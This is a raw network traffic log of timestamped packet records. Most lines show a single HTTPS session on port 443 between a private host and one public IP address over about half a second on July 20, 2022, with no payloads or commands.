Jul 20, 2022 10:32:59.075762987 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.075773001 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.075819016 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.075870037 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.075881004 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.075993061 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.076030970 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.076051950 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.076061964 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.076108932 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.076133013 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.076198101 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.076373100 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.076395988 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.076442957 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.076452017 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.076466084 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.076498032 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.076777935 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.077007055 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.077244043 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.077266932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.077266932 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.077296019 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.077306986 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.077316999 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.077348948 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.077372074 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.077739954 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078007936 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.078032017 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078063965 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078116894 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.078178883 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078377962 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.078474045 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078598976 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.078624010 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.078660011 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.078661919 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078672886 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.078705072 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078733921 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.078852892 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.079284906 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.162264109 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.162295103 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.162395954 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.162420034 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.162487984 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.207812071 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.207875967 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.207896948 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.208018064 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.208045006 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.208076954 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.214956045 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215006113 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215157032 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.215178013 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215219975 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.215328932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215388060 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215423107 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215428114 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.215437889 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215471983 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.215509892 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.215615988 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215639114 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215692997 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.215699911 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.215754032 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.215794086 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.216015100 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.216037989 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.216262102 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.216270924 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.216459990 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.216501951 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.216542959 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.216551065 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.216583014 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217111111 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217170000 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217216015 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217220068 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217233896 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217272043 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217314005 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217541933 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217607975 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217632055 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217638969 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217714071 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217755079 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217834949 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217855930 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217921019 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217931986 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.217971087 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.217993975 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.218517065 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.218571901 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.218622923 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.218643904 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.218653917 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.218708038 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.218760014 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.218764067 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.218905926 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.219450951 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.256234884 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.256262064 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.256299973 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.256407022 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.256428003 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.256489038 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.345736980 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.345762014 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.345843077 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.345877886 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.345918894 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.345963955 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.345973969 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352492094 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352504969 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352575064 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.352591991 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352601051 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352643013 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.352667093 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.352674961 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352793932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352803946 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352873087 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352889061 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.352900982 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352927923 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.352930069 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.352947950 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.352972984 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.353135109 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.353156090 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.353199959 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.353236914 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.353251934 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.353280067 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.353982925 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.354038000 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.354053020 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.354064941 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.354095936 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357086897 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357196093 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357215881 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357304096 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357311010 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357352018 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357357025 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357369900 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357409000 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357419014 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357450008 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357455969 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357491016 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357526064 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357542992 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357676029 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357726097 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357734919 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357742071 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357796907 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357852936 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357898951 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357902050 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357913971 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357952118 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.357954979 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357984066 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.357995033 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358000994 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358026981 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358032942 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358067989 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358071089 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358092070 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358099937 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358131886 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358139992 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358150959 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358185053 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358191013 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358208895 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358233929 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358251095 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358257055 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.358475924 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.358823061 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.396020889 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.396137953 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.396136999 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.396159887 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.396200895 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.479146957 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.479177952 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.483968973 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.483989954 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484014988 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484080076 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484112978 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.484143972 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.484155893 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484189034 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.484193087 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484205008 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484229088 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484256029 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.484297991 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484318018 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.484324932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.484371901 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.491138935 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491173983 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491300106 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.491318941 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491354942 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.491638899 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491724014 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.491728067 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491746902 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491797924 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491806984 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.491825104 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491862059 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.491868973 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491929054 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491938114 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.491945982 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.491990089 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.492006063 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.492033005 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.492039919 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.492099047 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.494349957 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.494992971 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.495078087 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.495126963 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.495141029 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.495186090 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.495235920 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.495379925 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.495578051 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.495830059 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.495855093 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.495914936 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.495929956 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.495949984 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.495986938 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.496438026 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.496448994 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.496606112 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.496817112 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.496896982 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.496920109 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.496933937 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.496972084 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.496995926 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497245073 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497251034 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497313023 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497381926 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497395039 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497425079 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497473001 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497484922 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497520924 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497550011 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497560978 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497590065 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497620106 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497672081 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497693062 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497700930 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497744083 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497746944 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497772932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497775078 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497790098 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.497808933 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497864008 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.497873068 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.498291016 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.575494051 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.575527906 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.575567007 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.575668097 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.575697899 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.575793982 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.622538090 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.622575045 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.622745991 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.622772932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.622859001 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.623270035 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.623337984 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.623400927 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.623456001 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.623471022 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.623488903 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.630781889 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.630798101 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.630892992 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.630907059 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.630928040 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.630950928 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.630966902 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.630980015 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.631005049 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.631341934 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.631433964 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.631448984 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.631515980 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.631540060 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.631582022 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.631674051 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.631735086 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.631742001 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.631767035 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.631793976 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.631819963 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:59.634155035 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:59.634181023 CEST	443	49852	54.231.132.65	192.168.2.5
